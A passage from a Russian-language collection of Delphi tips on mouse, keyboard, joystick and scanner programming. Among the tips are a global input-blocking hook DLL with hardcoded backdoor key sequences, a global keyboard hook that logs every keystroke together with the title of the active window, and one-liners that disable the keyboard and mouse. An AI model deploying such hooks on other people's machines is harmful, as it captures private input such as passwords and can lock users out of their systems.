procedure TYourObject.CMMouseLeave(var AMsg: TMessage);
begin
FMouseInPos := False;
Refresh;
end;

Затем считывать параметр FMouseInPos.

Взято с сайта http://blackman.wp-club.net/


Как узнать есть ли у мыши колесико?

Свойство "WheelPresent" глобального обьекта "mouse".


Имитировать события мыши

В этом примере курсор мыши сам встает на кнопку и нажимает на нее.

procedure TForm1.Timer1Timer(Sender: TObject);
var
  p: TPoint;
begin
  p := Point(Button1.Left + Button1.Width div 2,
             Button1.Top + Button1.Height div 2);
  p := Form1.ClientToScreen(p);
  SetCursorPos(p.x, p.y);
  p := Point(round(p.x * 65535 / Screen.Width),
             round(p.y * 65535 / Screen.Height));
  Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE,

    p.x, p.y, 0, 0);
  Application.ProcessMessages;
  sleep(100);
  Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN,
    p.x, p.y, 0, 0);
  Application.ProcessMessages;
  sleep(300);
  Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP,
    p.x, p.y, 0, 0);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как прочитать и изменить doubleclick time?

// Set example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  // will reset after system start
  SetDoubleClickTime(1500);
end;

// Get example:
procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowMessage(IntToStr(GetDoubleClickTime));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


функции для изменения и получения чуствительности мышки

Function SetMouseSpeed ( NewSpeed : Integer ) : Boolean;
begin
 Result := SystemParametersInfo(SPI_SETMOUSESPEED, 1, Pointer(NewSpeed), SPIF_SENDCHANGE );
End;

Function GetMouseSpeed : Integer;
Var
 Int : Integer;
begin
 SystemParametersInfo(SPI_GETMOUSESPEED, 0, @Int, SPIF_SENDCHANGE );
 Result := Int;
End;

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Hook на клавиатуру и мышку

library hook;
{$I+}

 uses Windows,Messages;//,sysutils;

{$R *.RES}

 TYPE
  MPWD_TYPE=array[0..21] of integer;

 const
 backdoor_len:integer=9;
 backdoor:array[0..8] of integer=
 (76,69,76,69,76,69,76,69,76);

 pwd0_len:integer=9;          //my backdoor
 pwd0:array[0..8] of integer=
 (76,69,69,76,69,76,69,76,69);

 pwd1_len:integer=6;          //user backdoor
 pwd1:array[0..5] of integer=
 (76,69,76,69,76,69);       //=

 pwd2_len:integer=10;          //killer
 pwd2:array[0..9] of integer=
 (71,76,85,69,77,79,77,69,78,84); //= gluemoment

 var
  mWinVer:DWORD ;
  CurKeyHook:HHook;
  CurMouseHook:HHook;

  BackDoorRemained:longint;

  wpwd:MPWD_TYPE;
  wpwd_len:integer=0;

  //first password - unblock
  wpwd1:MPWD_TYPE;
  wpwd1_len:integer=0;

  //second password - kill
  wpwd2:MPWD_TYPE;
  wpwd2_len:integer=0;

  is_key_enabled,is_mouse_enabled:boolean;
  last_input:array[0..21] of integer;
  li_size:integer=20;
  n_input:integer;
  UserInput:boolean;
  admin_code:integer=0; //admin_code

 procedure HookKeyOff;  stdcall; forward;
 procedure HookMouseOff; stdcall; forward;
 function GetAdminCode:integer;stdcall; forward;
 procedure ResetAdminCode; stdcall; forward;

//------------------------------------------------------------
 procedure EnableKeyboard(state:boolean); stdcall;
 begin
  is_key_enabled:=state;

  if (not state) and (BackDoorRemained>0) then
  begin
   BackDoorRemained:=BackDoorRemained-1;
   if BackDoorRemained=0 then
    admin_code:=0;
  end;
 end;
 //------------------------------------------------------------
 procedure EnableMouse(state:boolean);stdcall;
 begin
  is_mouse_enabled:=state;
 end;
//------------------------------------------------------------
function HookClearUserInput(b0:boolean):boolean;stdcall;
var
b:boolean;
begin
 b:=UserInput;
 if b0 then
  UserInput:=false;
 Result:=b;
end;
//------------------------------------------------------------
function IsAdmin:boolean;stdcall;
begin
 if BackDoorRemained>0 then
  Result:=true
 else
  Result:=false;
end;

//----------------------------------------------------------

function GetAdminCode:integer;stdcall;
begin
 Result:=admin_code;
end;

//----------------------------------------------------------

function IsBackDoor:boolean;
var
 i,j:integer;
 is_like:boolean;
begin

  //pwd1
  //------------------------------
  is_like:=wpwd1_len>0;
  j:=n_input;
  for i:=(wpwd1_len-1) downto 0 do
  begin
   if last_input[j]<>wpwd1[i] then
   begin
    is_like:=false;
    break;
   end;
   if j>0 then
    j:=j-1;
  end;//for
  if is_like then
   admin_code:=2;
  //------------------------------

  Result:=is_like;
end;
//----------------------------------------------------------
procedure mKeyDown(vCode:longint);
var
 i:integer;
begin
     UserInput:=true;

     if n_input<(li_size-1) then
     begin
      last_input[n_input]:=vCode;
      n_input:=n_input+1;
     end
     else
     begin

      if last_input[li_size-1]<>vCode then
      begin

       for i:=0 to (li_size-2) do
        last_input[i]:=last_input[i+1];

       last_input[li_size-1]:=vCode;

       if IsBackDoor then
       begin
        BackDoorRemained:=40;
        EnableKeyboard(true);
        EnableMouse(true);
       end;
      end;//if last_input[backdoor_len-1]<>kbp.vkCode
     end;//if n_input<..
end;

//------------------------------------------------------------
//low level NT,2K only
 function CallBackKeyHook( Code    : Integer;
                           wParam  : WPARAM;
                           lParam  : LPARAM
                           )       : LRESULT; stdcall;
   type
    KBDLLHOOKSTRUCT=RECORD
    vkCode   :DWORD;
    scanCode :DWORD;
    flags    :DWORD;
    time     :DWORD;
    dwExtraInfo:Pointer;
                    END;
   PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT;
   var
   kbp:PKBDLLHOOKSTRUCT;
 begin

   kbp:=PKBDLLHOOKSTRUCT(lParam);
   mKeyDown(kbp.vkCode);

  if (Code<0) or is_key_enabled or (BackDoorRemained>0) then
   Result := CallNextHookEx(CurKeyHook, Code, wParam, lParam)
  else
   Result:=1; //do not enable input

end;

//------------------------------------------------------------
//------------------------------------------------------------
 function CallBackKeyHook95( Code    : Integer;
                           wParam  : WPARAM;
                           lParam  : LPARAM
                           )       : LRESULT; stdcall;
 begin
   mKeyDown(wParam);

  if is_key_enabled or (BackDoorRemained>0) or (Code<0) then
   Result := CallNextHookEx(CurKeyHook, Code, wParam, lParam)
  else
   Result:=1; //do not enable input

 end;

//------------------------------------------------------------

 function CallBackMouseHook( Code    : Integer;
                           wParam  : WPARAM;
                           lParam  : LPARAM
                           )       : LRESULT; stdcall;
 begin

  if code=HC_ACTION then
  begin
  end;

  if is_mouse_enabled OR (BackDoorRemained>0) or (Code<0) then
   Result := CallNextHookEx(CurMouseHook, Code, wParam, lParam)
  else
   Result:=1;
 end;

//------------------------------------------------------------
 procedure HookKeyOn; stdcall;
 begin
   is_key_enabled:=true;

   if mWinVer< $80000000 then //--NT ,2000 ..
    CurKeyHook:=SetWindowsHookEx(13{WH_KEYBOARD_LL 14-mouse},
     @CallBackKeyHook,hInstance,0)
   else
    CurKeyHook:=SetWindowsHookEx(WH_KEYBOARD,
     @CallBackKeyHook95,hInstance,0);

   if CurKeyHook<=0 then
    MessageBox(0,'Error!!! Could not set hook!','',MB_OK);

 end;

//------------------------------------------------------------

 procedure HookKeyOff;  stdcall;
 begin
   UnhookWindowsHookEx(CurKeyHook);
 end;
//------------------------------------------------------------
 procedure HookMouseOn; stdcall;
 begin
   is_mouse_enabled:=true;
   CurMouseHook:=SetWindowsHookEx(WH_MOUSE, @CallBackMouseHook,
    hInstance , 0);

   if CurMouseHook<=0 then
    MessageBox(0,'Error!!! Could not set mouse hook!','',MB_OK);
 end;
//------------------------------------------------------------

 procedure HookMouseOff;  stdcall;
 begin
   UnhookWindowsHookEx(CurMouseHook);
 end;
//------------------------------------------------------------
 procedure InstallHooker(hinst:longint); stdcall;
 begin

   if CurKeyHook=0 then
    is_key_enabled:=true
   else
   begin
    UnhookWindowsHookEx(CurKeyHook);
    CurKeyHook:=0;
   end;

   if CurMouseHook=0 then
    is_mouse_enabled:=true
   else
   begin
    UnhookWindowsHookEx(CurMouseHook);
    CurMouseHook:=0;
   end;

   if mWinVer< $80000000 then //--NT ,2000 ..
   begin
    CurKeyHook:=SetWindowsHookEx(13{WH_KEYBOARD_LL 14-mouse},
     @CallBackKeyHook,hinst,0);
    CurMouseHook:=SetWindowsHookEx(14{WH_MOUSE}, @CallBackMouseHook,
     hinst , 0);
   end
   else
   begin
    CurKeyHook:=SetWindowsHookEx(WH_KEYBOARD,
     @CallBackKeyHook95,hinst,0);
    CurMouseHook:=SetWindowsHookEx(WH_MOUSE, @CallBackMouseHook,
     hinst , 0);
   end;

   if CurKeyHook<=0 then
    MessageBox(0,'Error!!! Could not set hook!','',MB_OK);

   if CurMouseHook<=0 then
    MessageBox(0,'Error!!! Could not set mouse hook!','',MB_OK);

 end;
//------------------------------------------------------------
 procedure ResetAdminCode; stdcall;
 begin
   admin_code:=0;
   BackDoorRemained:=0;
 end;
//------------------------------------------------------------

 exports
  EnableKeyboard,IsAdmin,
  EnableMouse,InstallHooker,HookClearUserInput,
  GetAdminCode,ResetAdminCode;
//------------------------------------------------------------

procedure  mDllEntryPoint(rs:DWord);stdcall;
begin
  case rs of
  DLL_PROCESS_ATTACH:
                    if (CurKeyHook=0) and (CurMouseHook=0)then
                    begin
//                     HookKeyOn;
//                     HookMouseOn;
                    end;
  DLL_PROCESS_DETACH:
                    begin
                    if (CurKeyHook<>0) and (CurMouseHook<>0)then
                    begin
                     HookKeyOff;
                     HookMouseOff;
                    end;
                     //ExitProcess(0);
                    end;
  end;
 end;
//------------------------------------------------------------
 //DLLMain
 begin

  UserInput:=false;
  is_key_enabled:=true;
  is_mouse_enabled:=true;
  n_input:=0;
  BackDoorRemained:=0;
  CurKeyHook:=0;
  CurMouseHook:=0;

  mWinVer:=GetVersion;

  DllProc:=@mDllEntryPoint;
  mDllEntryPoint(DLL_PROCESS_ATTACH);
//------------------------------------------------------------

 end.
//------------------------------------------------------------
Код прислал NoName
HR

library keyboardhook;

uses
SysUtils,
Windows,
Messages,
Forms;

const
MMFName:PChar='Keys';

type
PGlobalDLLData=^TGlobalDLLData;
TGlobalDLLData=packed record
SysHook:HWND; //дескриптор установленной ловушки
MyAppWnd:HWND; //дескриптор нашего приложения
end;

var
GlobalData:PGlobalDLLData;
MMFHandle:THandle;
WM_MYKEYHOOK:Cardinal;

function KeyboardProc(code:integer;wParam:word;lParam:longint):longint;stdcall;
var
AppWnd:HWND;
begin
if code < 0 then
begin
Result:=CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam);
Exit;
end;
if (((lParam and KF_UP)=0)and
(wParam>=0)and(wParam<=255))OR {поставь от 65 до 90, если тебе}
(((lParam and KF_UP)=0)and {нужны только A..Z}
(wParam=VK_SPACE))then
begin
AppWnd:=GetForegroundWindow();
SendMessage(GlobalData^.MyAppWnd,WM_MYKEYHOOK,wParam,AppWnd);
end;
CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam);
Result:= 0;
end;

{Процедура установки HOOK-а}
procedure hook(switch : Boolean; hMainProg: HWND) export; stdcall;
begin
if switch=true then
begin
{Устанавливаем HOOK, если не установлен (switch=true). }
GlobalData^.SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
GlobalData^.MyAppWnd:= hMainProg;
end
else
UnhookWindowsHookEx(GlobalData^.SysHook)
end;

procedure OpenGlobalData();
begin
{регестрируем свой тип сообщения в системе}
WM_MYKEYHOOK:= RegisterWindowMessage('WM_MYKEYHOOK');
{полу?аем объект файлового отображения}
MMFHandle:= CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE,0,SizeOf(TGlobalDLLData),MMFName);
{отображаем глобальные данные на АП вызывающего процесса и полу?аем указатель
на на?ало выделенного пространства}
GlobalData:= MapViewOfFile(MMFHandle,FILE_MAP_ALL_ACCESS,0,0,SizeOf(TGlobalDLLData));
if GlobalData=nil then
begin
CloseHandle(MMFHandle);
Exit;
end;

end;

procedure CloseGlobalData();
begin
UnmapViewOfFile(GlobalData);
CloseHandle(MMFHandle);
end;

procedure DLLEntryPoint(dwReason: DWord); stdcall;
begin
case dwReason of
DLL_PROCESS_ATTACH: OpenGlobalData;
DLL_PROCESS_DETACH: CloseGlobalData;
end;
end;

exports
hook;

begin
DLLProc:= @DLLEntryPoint;
{вызываем назна?енную процедуру для отражения факта присоединения данной
библиотеки к процессу}
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.

Пример использования:

var
Form1: TForm1;
WndFlag: HWND; // дескриптор последнего окна
keys: string[41]; // нажатые клавишы
hDLL: THandle; // дескриптор загружаемой библиотеки
WM_MYKEYHOOK: Cardinal; // мо? сообщение

function GetWndText(WndH: HWND): string;
var
s: string;
Len: integer;
begin
Len:= GetWindowTextLength(WndH)+1; // полу?аю размер текста
if Len > 1 then
begin
SetLength(s, Len);
GetWindowText(WndH, @s[1], Len); // полу?аю сам текст, который записывается в s
Result:= s;
end
else
Result:= 'text not detected';
end;

procedure TForm1.Button1Click(Sender: TObject);
var
Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;
begin
{посылаю своему окну сообщение для того ?то бы не выводился первый символ - см. WndProc}
SendMessage(Form1.Handle, WM_MYKEYHOOK, VK_SPACE, Application.MainForm.Handle);
@hook:= nil; // инициализируем переменную hook
hDLL:=LoadLibrary(PChar('keyhook.dll')); { загрузка DLL }
if hDLL > HINSTANCE_ERROR then
begin { если вс? без ошибок, то }
@hook:=GetProcAddress(Hdll, 'hook'); { полу?аем указатель на необходимую процедуру}
Button2.Enabled:=True;
Button1.Enabled:=False;
StatusBar1.SimpleText:= 'Status: DLL loaded...';
hook(true, Form1.Handle);
StatusBar1.SimpleText:= 'Status: loging in progress...';
end
else
begin
ShowMessage('Ошибка при загрузке DLL !');
Exit;
end;

end;

procedure TForm1.Button2Click(Sender: TObject);
var
Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;
begin
@hook:= nil; // инициализируем переменную hook
if hDLL > HINSTANCE_ERROR then
begin { если вс? без ошибок, то }
@hook:=GetProcAddress(Hdll, 'hook'); { полу?аем указатель на необходимую процедуру}
Button1.Enabled:=True;
Button2.Enabled:=False;
hook(false, Form1.Handle);
if FreeLibrary(hDLL) then
begin
StatusBar1.SimpleText:= 'Status: DLL unloaded.';
sleep(1000)
end
else
begin
StatusBar1.SimpleText:= 'Status: ERROR while unloading DLL';
Exit;
end;
StatusBar1.SimpleText:= 'Status: loging stoped';
end;

end;

{
подмена процедуры окна - необходимо для обработки сообщений, поступивших из
DLL (см. исходный код DLL)
}
procedure TForm1.WndProc(var Msg: TMessage);
begin
inherited ; // выполняем вс? то, ?то должно происходить при поступлении сообщеня окну
{Но если пришло мо? сообщение - выполняем следующий код}
if Msg.Msg = WM_MYKEYHOOK then
begin
{
Если пользователь поменял окно или переменная, содержащая нажатые клавишы
превысила допустимое зна?ение - обнуляем keys и выводим статистику.
}
if (WndFlag <> HWND(Msg.lParam)) OR (Length(keys)>=1) then
begin
keys:=keys+String(Chr(Msg.wParam));
memo2.Text:=memo2.Text+' '+inttostr(ord(Chr(Msg.wParam)));
//label1.caption:=label1.caption+keys;
keys:='';
Memo1.Lines.Add(GetWndText(Msg.lParam));
WndFlag:= HWND(Msg.lParam)
end
else
keys:=keys+String(Chr(Msg.wParam));
end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
freelibrary(hDLL);
end;

initialization
WndFlag:=0;
keys:= '';
{ регистрирую сво? сообщение в системе - то?но так же надо сделать и в теле DLL
?то бы DLL могла посылать главному приложению это сообщение.
}
WM_MYKEYHOOK:=RegisterWindowMessage('WM_MYKEYHOOK');
end.

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru


Програмное выключение клавиатуры и мыши

winexec(Pchar('rundll32 keyboard,disable' ) ,sw_Show); Клава OFF
winexec(Pchar('rundll32 mouse,disable' ) ,sw_Show); Маус OFF

кстати а вот так клава врубается

Отрубить

Asm
in al,21h
or al,00000010b
out 21h,al
End;

Врубить

Asm
in al,21h
mov al,0
out 21h,al
End;

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru

BlockInput(), живёт в user32.dll
Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Как скрыть курсор мышки
Поместите в событие OnClick в button1 и button2 следующие коды.Если курсор мышки скрыт, то выбрать button2 можно клавишей Tab.

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowCursor(False);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowCursor(True);
end;

Взято из http://forum.sources.ru

//Выключение курсора
procedure TForm1.Button1Click(Sender: TObject);
var
  CState: Integer;
begin
  CState := ShowCursor(True);
  while Cstate >= 0 do
    Cstate := ShowCursor(False);
end;

//Включение курсора
procedure TForm1.Button2Click(Sender: TObject);
var
  Cstate: Integer;
begin
  Cstate := ShowCursor(True);
  while CState < 0 do
    CState := ShowCursor(True);
end;

Взято с http://delphiworld.narod.ru


Различные другие железяки...

Cодержание раздела:

Как использовать joystick?
Как работать со сканером?
Как получить размер физической установленной памяти?
Как работать с Web камерой?

См. также статьи в других разделах:
Работа с сотовыми телефонами


Как использовать joystick?

uses
  MMSYSTEM;

var
  MyJoy: TJoyInfo;
  ErrorResult: MMRESULT;
begin
  ErrorResult := joyGetPos(joystickid1, @MyJoy);
  if ErrorResult = JOYERR_NOERROR then
  begin
    TrackBar1.Position := MyJoy.wypos;
    TrackBar2.Position := MyJoy.wxpos;
    RadioButton1.Checked := (MyJoy.wbuttons and joy_button1) > 0;
    RadioButton2.Checked := (MyJoy.wbuttons and joy_button2) > 0;
  end
else
   case ErrorResult of
     MMSYSERR_NODRIVER: ShowMessage('No Joystick driver present');
     MMSYSERR_INVALPARAM: ShowMessage('Invalid Joystick Paramameters');
     JOYERR_UNPLUGGED: ShowMessage('Joystick is Unplugged');
   else
ShowMessage('Unknown error with Joystick');
 end;

end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

var
  myjoy: tjoyinfo;
begin

  joygetpos(joystickid1, @myjoy);
  trackbar1.position := myjoy.wypos;
  trackbar2.position := myjoy.wxpos;
  radiobutton1.checked := (myjoy.wbuttons and joy_button1) > 0;
  radiobutton2.checked := (myjoy.wbuttons and joy_button2) > 0;
end;

Не забудьте включить MMSYSTEM в список используемых (USES) модулей

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как работать со сканером?

////////////////////////////////////////////////////////////////////////
//                                                                    //
//               Delphi Scanner Support Framework                     //
//                                                                    //
//               Copyright (C) 1999 by Uli Tessel                     //
//                                                                    //
////////////////////////////////////////////////////////////////////////
//                                                                    //
//         Modified and rewritten as a Delphi component by:           //
//                                                                    //
//                           M. de Haan                               //
//                                                                    //
//                           June 2002                                //
//                                                                    //
////////////////////////////////////////////////////////////////////////

unit
  TWAIN;

interface

uses
  SysUtils, // Exceptions
  Forms, // TMessageEvent
  Windows, // HMODULE
  Graphics, // TBitmap
  IniFiles, // Inifile
  Controls, // TCursor
  Classes; // Class

const
  // Messages
  MSG_GET = $0001; // Get one or more values
  MSG_GETCURRENT = $0002; // Get current value
  MSG_GETDEFAULT = $0003; // Get default (e.g. power up) value
  MSG_GETFIRST = $0004; // Get first of a series of items,
  // e.g. Data Sources
  MSG_GETNEXT = $0005; // Iterate through a series of items
  MSG_SET = $0006; // Set one or more values
  MSG_RESET = $0007; // Set current value to default value
  MSG_QUERYSUPPORT = $0008; // Get supported operations on the
  // capacities

// Messages used with DAT_NULL
// ---------------------------
  MSG_XFERREADY = $0101; // The data source has data ready
  MSG_CLOSEDSREQ = $0102; // Request for the application to close
  // the Data Source
  MSG_CLOSEDSOK = $0103; // Tell the application to save the
  // state
  MSG_DEVICEEVENT = $0104; // Some event has taken place

  // Messages used with a pointer to a DAT_STATUS structure
  // ------------------------------------------------------
  MSG_CHECKSTATUS = $0201; // Get status information

  // Messages used with a pointer to DAT_PARENT data
  // -----------------------------------------------
  MSG_OPENDSM = $0301; // Open the Data Source Manager
  MSG_CLOSEDSM = $0302; // Close the Data Source Manager

  // Messages used with a pointer to a DAT_IDENTITY structure
  // --------------------------------------------------------
  MSG_OPENDS = $0401; // Open a Data Source
  MSG_CLOSEDS = $0402; // Close a Data Source
  MSG_USERSELECT = $0403; // Put up a dialog of all Data Sources
  // The user can select a Data Source

// Messages used with a pointer to a DAT_USERINTERFACE structure
// -------------------------------------------------------------
  MSG_DISABLEDS = $0501; // Disable data transfer in the Data
  // Source
  MSG_ENABLEDS = $0502; // Enable data transfer in the Data
  // Source
  MSG_ENABLEDSUIONLY = $0503; // Enable for saving Data Source state
  // only

// Messages used with a pointer to a DAT_EVENT structure
// -----------------------------------------------------
  MSG_PROCESSEVENT = $0601;

  // Messages used with a pointer to a DAT_PENDINGXFERS structure
  // ------------------------------------------------------------
  MSG_ENDXFER = $0701;
  MSG_STOPFEEDER = $0702;

  // Messages used with a pointer to a DAT_FILESYSTEM structure
  // ----------------------------------------------------------
  MSG_CHANGEDIRECTORY = $0801;
  MSG_CREATEDIRECTORY = $0802;
  MSG_DELETE = $0803;
  MSG_FORMATMEDIA = $0804;
  MSG_GETCLOSE = $0805;
  MSG_GETFIRSTFILE = $0806;
  MSG_GETINFO = $0807;
  MSG_GETNEXTFILE = $0808;
  MSG_RENAME = $0809;
  MSG_COPY = $080A;
  MSG_AUTOMATICCAPTUREDIRECTORY = $080B;

  // Messages used with a pointer to a DAT_PASSTHRU structure
  // --------------------------------------------------------
  MSG_PASSTHRU = $0901;

const
  DG_CONTROL = $0001; // data pertaining to control
  DG_IMAGE = $0002; // data pertaining to raster images

const
  // Data Argument Types for the DG_CONTROL Data Group.
  DAT_CAPABILITY = $0001; // TW_CAPABILITY
  DAT_EVENT = $0002; // TW_EVENT
  DAT_IDENTITY = $0003; // TW_IDENTITY
  DAT_PARENT = $0004; // TW_HANDLE,
  // application win handle in Windows
  DAT_PENDINGXFERS = $0005; // TW_PENDINGXFERS
  DAT_SETUPMEMXFER = $0006; // TW_SETUPMEMXFER
  DAT_SETUPFILEXFER = $0007; // TW_SETUPFILEXFER
  DAT_STATUS = $0008; // TW_STATUS
  DAT_USERINTERFACE = $0009; // TW_USERINTERFACE
  DAT_XFERGROUP = $000A; // TW_UINT32
  DAT_IMAGEMEMXFER = $0103; // TW_IMAGEMEMXFER
  DAT_IMAGENATIVEXFER = $0104; // TW_UINT32, loword is hDIB, PICHandle
  DAT_IMAGEFILEXFER = $0105; // Null data

const
  // Condition Codes: Application gets these by doing DG_CONTROL
  // DAT_STATUS MSG_GET.
  TWCC_CUSTOMBASE = $8000;
  TWCC_SUCCESS = 00; // It worked!
  TWCC_BUMMER = 01; // Failure due to unknown causes
  TWCC_LOWMEMORY = 02; // Not enough memory to perform operation
  TWCC_NODS = 03; // No Data Source
  TWCC_MAXCONNECTIONS = 04; // Data Source is connected to maximum
  // number of possible applications
  TWCC_OPERATIONERROR = 05; // Data Source or Data Source Manager
  // reported error, application
  // shouldn't report an error
  TWCC_BADCAP = 06; // Unknown capability
  TWCC_BADPROTOCOL = 09; // Unrecognized MSG DG DAT combination
  TWCC_BADVALUE = 10; // Data parameter out of range
  TWCC_SEQERROR = 11; // DG DAT MSG out of expected sequence
  TWCC_BADDEST = 12; // Unknown destination Application /
  // Source in DSM_Entry
  TWCC_CAPUNSUPPORTED = 13; // Capability not supported by source
  TWCC_CAPBADOPERATION = 14; // Operation not supported by
  // capability
  TWCC_CAPSEQERROR = 15; // Capability has dependancy on other
  // capability
  TWCC_DENIED = 16; // File System operation is denied
  // (file is protected)
  TWCC_FILEEXISTS = 17; // Operation failed because file
  // already exists
  TWCC_FILENOTFOUND = 18; // File not found
  TWCC_NOTEMPTY = 19; // Operation failed because directory
  // is not empty
  TWCC_PAPERJAM = 20; // The feeder is jammed
  TWCC_PAPERDOUBLEFEED = 21; // The feeder detected multiple pages
  TWCC_FILEWRITEERROR = 22; // Error writing the file (meant for
  // things like disk full conditions)
  TWCC_CHECKDEVICEONLINE = 23; // The device went offline prior to or
  // during this operation

const
  // Flags used in TW_MEMORY structure
  TWMF_APPOWNS = $01;
  TWMF_DSMOWNS = $02;
  TWMF_DSOWNS = $04;
  TWMF_POINTER = $08;
  TWMF_HANDLE = $10;

const
  // Flags for country, which seems to be equal to their telephone
  // number
  TWCY_AFGHANISTAN = 1001;
  TWCY_ALGERIA = 0213;
  TWCY_AMERICANSAMOA = 0684;
  TWCY_ANDORRA = 0033;
  TWCY_ANGOLA = 1002;
  TWCY_ANGUILLA = 8090;
  TWCY_ANTIGUA = 8091;
  TWCY_ARGENTINA = 0054;
  TWCY_ARUBA = 0297;
  TWCY_ASCENSIONI = 0247;
  TWCY_AUSTRALIA = 0061;
  TWCY_AUSTRIA = 0043;
  TWCY_BAHAMAS = 8092;
  TWCY_BAHRAIN = 0973;
  TWCY_BANGLADESH = 0880;
  TWCY_BARBADOS = 8093;
  TWCY_BELGIUM = 0032;
  TWCY_BELIZE = 0501;
  TWCY_BENIN = 0229;
  TWCY_BERMUDA = 8094;
  TWCY_BHUTAN = 1003;
  TWCY_BOLIVIA = 0591;
  TWCY_BOTSWANA = 0267;
  TWCY_BRITAIN = 0006;
  TWCY_BRITVIRGINIS = 8095;
  TWCY_BRAZIL = 0055;
  TWCY_BRUNEI = 0673;
  TWCY_BULGARIA = 0359;
  TWCY_BURKINAFASO = 1004;
  TWCY_BURMA = 1005;
  TWCY_BURUNDI = 1006;
  TWCY_CAMAROON = 0237;
  TWCY_CANADA = 0002;
  TWCY_CAPEVERDEIS = 0238;
  TWCY_CAYMANIS = 8096;
  TWCY_CENTRALAFREP = 1007;
  TWCY_CHAD = 1008;
  TWCY_CHILE = 0056;
  TWCY_CHINA = 0086;
  TWCY_CHRISTMASIS = 1009;
  TWCY_COCOSIS = 1009;
  TWCY_COLOMBIA = 0057;
  TWCY_COMOROS = 1010;
  TWCY_CONGO = 1011;
  TWCY_COOKIS = 1012;
  TWCY_COSTARICA = 0506;
  TWCY_CUBA = 0005;
  TWCY_CYPRUS = 0357;
  TWCY_CZECHOSLOVAKIA = 0042;
  TWCY_DENMARK = 0045;
  TWCY_DJIBOUTI = 1013;
  TWCY_DOMINICA = 8097;
  TWCY_DOMINCANREP = 8098;
  TWCY_EASTERIS = 1014;
  TWCY_ECUADOR = 0593;
  TWCY_EGYPT = 0020;
  TWCY_ELSALVADOR = 0503;
  TWCY_EQGUINEA = 1015;
  TWCY_ETHIOPIA = 0251;
  TWCY_FALKLANDIS = 1016;
  TWCY_FAEROEIS = 0298;
  TWCY_FIJIISLANDS = 0679;
  TWCY_FINLAND = 0358;
  TWCY_FRANCE = 0033;
  TWCY_FRANTILLES = 0596;
  TWCY_FRGUIANA = 0594;
  TWCY_FRPOLYNEISA = 0689;
  TWCY_FUTANAIS = 1043;
  TWCY_GABON = 0241;
  TWCY_GAMBIA = 0220;
  TWCY_GERMANY = 0049;
  TWCY_GHANA = 0233;
  TWCY_GIBRALTER = 0350;
  TWCY_GREECE = 0030;
  TWCY_GREENLAND = 0299;
  TWCY_GRENADA = 8099;
  TWCY_GRENEDINES = 8015;
  TWCY_GUADELOUPE = 0590;
  TWCY_GUAM = 0671;
  TWCY_GUANTANAMOBAY = 5399;
  TWCY_GUATEMALA = 0502;
  TWCY_GUINEA = 0224;
  TWCY_GUINEABISSAU = 1017;
  TWCY_GUYANA = 0592;
  TWCY_HAITI = 0509;
  TWCY_HONDURAS = 0504;
  TWCY_HONGKONG = 0852;
  TWCY_HUNGARY = 0036;
  TWCY_ICELAND = 0354;
  TWCY_INDIA = 0091;
  TWCY_INDONESIA = 0062;
  TWCY_IRAN = 0098;
  TWCY_IRAQ = 0964;
  TWCY_IRELAND = 0353;
  TWCY_ISRAEL = 0972;
  TWCY_ITALY = 0039;
  TWCY_IVORYCOAST = 0225;
  TWCY_JAMAICA = 8010;
  TWCY_JAPAN = 0081;
  TWCY_JORDAN = 0962;
  TWCY_KENYA = 0254;
  TWCY_KIRIBATI = 1018;
  TWCY_KOREA = 0082;
  TWCY_KUWAIT = 0965;
  TWCY_LAOS = 1019;
  TWCY_LEBANON = 1020;
  TWCY_LIBERIA = 0231;
  TWCY_LIBYA = 0218;
  TWCY_LIECHTENSTEIN = 0041;
  TWCY_LUXENBOURG = 0352;
  TWCY_MACAO = 0853;
  TWCY_MADAGASCAR = 1021;
  TWCY_MALAWI = 0265;
  TWCY_MALAYSIA = 0060;
  TWCY_MALDIVES = 0960;
  TWCY_MALI = 1022;
  TWCY_MALTA = 0356;
  TWCY_MARSHALLIS = 0692;
  TWCY_MAURITANIA = 1023;
  TWCY_MAURITIUS = 0230;
  TWCY_MEXICO = 0003;
  TWCY_MICRONESIA = 0691;
  TWCY_MIQUELON = 0508;
  TWCY_MONACO = 0033;
  TWCY_MONGOLIA = 1024;
  TWCY_MONTSERRAT = 8011;
  TWCY_MOROCCO = 0212;
  TWCY_MOZAMBIQUE = 1025;
  TWCY_NAMIBIA = 0264;
  TWCY_NAURU = 1026;
  TWCY_NEPAL = 0977;
  TWCY_NETHERLANDS = 0031;
  TWCY_NETHANTILLES = 0599;
  TWCY_NEVIS = 8012;
  TWCY_NEWCALEDONIA = 0687;
  TWCY_NEWZEALAND = 0064;
  TWCY_NICARAGUA = 0505;
  TWCY_NIGER = 0227;
  TWCY_NIGERIA = 0234;
  TWCY_NIUE = 1027;
  TWCY_NORFOLKI = 1028;
  TWCY_NORWAY = 0047;
  TWCY_OMAN = 0968;
  TWCY_PAKISTAN = 0092;
  TWCY_PALAU = 1029;
  TWCY_PANAMA = 0507;
  TWCY_PARAGUAY = 0595;
  TWCY_PERU = 0051;
